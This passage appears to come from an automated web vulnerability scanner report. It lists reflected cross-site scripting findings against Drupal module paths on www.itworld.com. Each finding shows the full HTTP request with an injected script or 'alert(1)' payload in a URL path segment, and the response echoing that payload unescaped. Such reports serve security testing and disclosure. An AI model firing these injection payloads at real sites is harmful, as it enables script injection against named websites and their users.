Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460172"
Content-Type: text/html; charset=utf-8
Content-Length: 57420
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:54 GMT
X-Varnish: 252446754
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesc0dbe"-alert(1)-"1d72270a250/contrib/panels/js/panels.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you r
...[SNIP]...

1.309. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de8ca"><script>alert(1)</script>2e2917cd2e9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesde8ca"><script>alert(1)</script>2e2917cd2e9/contrib/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:40 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460160"
Content-Type: text/html; charset=utf-8
Content-Length: 57640
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:42 GMT
X-Varnish: 252446490
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesde8ca"><script>alert(1)</script>2e2917cd2e9/contrib/panels/js/panels.js?h"/>
...[SNIP]...

1.310. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a833"><script>alert(1)</script>4d3a540baa7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib8a833"><script>alert(1)</script>4d3a540baa7/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:22 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460202"
Content-Type: text/html; charset=utf-8
Content-Length: 57646
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:44 GMT
X-Varnish: 252447297
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib8a833"><script>alert(1)</script>4d3a540baa7/panels/js/panels.js?h"/>
...[SNIP]...

1.311. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d7945"-alert(1)-"324d4d74062 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribd7945"-alert(1)-"324d4d74062/panels/js/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:51 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460231"
Content-Type: text/html; charset=utf-8
Content-Length: 57426
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:24:08 GMT
X-Varnish: 252448181
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribd7945"-alert(1)-"324d4d74062/panels/js/panels.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested
...[SNIP]...

1.312. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc3ef"-alert(1)-"e96c0932d1a was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/panels/jscc3ef"-alert(1)-"e96c0932d1a/panels.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:16 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460316"
Content-Type: text/html; charset=utf-8
Content-Length: 57423
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:19 GMT
X-Varnish: 1038160022
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/panels/jscc3ef"-alert(1)-"e96c0932d1a/panels.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar
...[SNIP]...

1.313. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 978d5"><script>alert(1)</script>914c7c4cdae was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/panels/js/panels.js978d5"><script>alert(1)</script>914c7c4cdae?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:01 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460361"
Content-Type: text/html; charset=utf-8
Content-Length: 57645
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:04 GMT
X-Varnish: 1038161433
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js978d5"><script>alert(1)</script>914c7c4cdae?h"/>
...[SNIP]...

1.314. http://www.itworld.com/sites/all/modules/contrib/panels/js/panels.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/panels/js/panels.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 266cc"-alert(1)-"024c48e4278 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/panels/js/panels.js266cc"-alert(1)-"024c48e4278?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460371"
Content-Type: text/html; charset=utf-8
Content-Length: 57425
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:20 GMT
X-Varnish: 1038161767
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/panels/js/panels.js266cc"-alert(1)-"024c48e4278";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.315. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e86d"><script>alert(1)</script>488c8bf70b0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules3e86d"><script>alert(1)</script>488c8bf70b0/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 58154
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:32 GMT
X-Varnish: 252446263
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules3e86d"><script>alert(1)</script>488c8bf70b0/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h"/>
...[SNIP]...

1.316. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c7b2"-alert(1)-"d4b9ebae40d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules4c7b2"-alert(1)-"d4b9ebae40d/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460158"
Content-Type: text/html; charset=utf-8
Content-Length: 57934
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:40 GMT
X-Varnish: 252446463
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules4c7b2"-alert(1)-"d4b9ebae40d/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="5323
...[SNIP]...

1.317. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c14b8"-alert(1)-"a499c724793 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contribc14b8"-alert(1)-"a499c724793/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460199"
Content-Type: text/html; charset=utf-8
Content-Length: 57940
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:21 GMT
X-Varnish: 252447247
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contribc14b8"-alert(1)-"a499c724793/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eV
...[SNIP]...

1.318. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a3de"><script>alert(1)</script>ed083ae610e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib7a3de"><script>alert(1)</script>ed083ae610e/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:58 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460178"
Content-Type: text/html; charset=utf-8
Content-Length: 58159
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:09 GMT
X-Varnish: 252446838
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib7a3de"><script>alert(1)</script>ed083ae610e/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js?h"/>
...[SNIP]...

1.319. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c862"-alert(1)-"05c7f709478 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/views_slideshow3c862"-alert(1)-"05c7f709478/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:49 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460229"
Content-Type: text/html; charset=utf-8
Content-Length: 57940
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:51 GMT
X-Varnish: 252448125
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/views_slideshow3c862"-alert(1)-"05c7f709478/contrib/views_slideshow_singleframe/views_slideshow.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We c
...[SNIP]...

1.320. http://www.itworld.com/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/views_slideshow/contrib/views_slideshow_singleframe/views_slideshow.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1fdc"><script>alert(1)</script>2ed38fcd23 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/views_slideshowc1fdc"><script>alert(1)</script>2ed38fcd23/contrib/views_slideshow_singleframe/views_slideshow.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
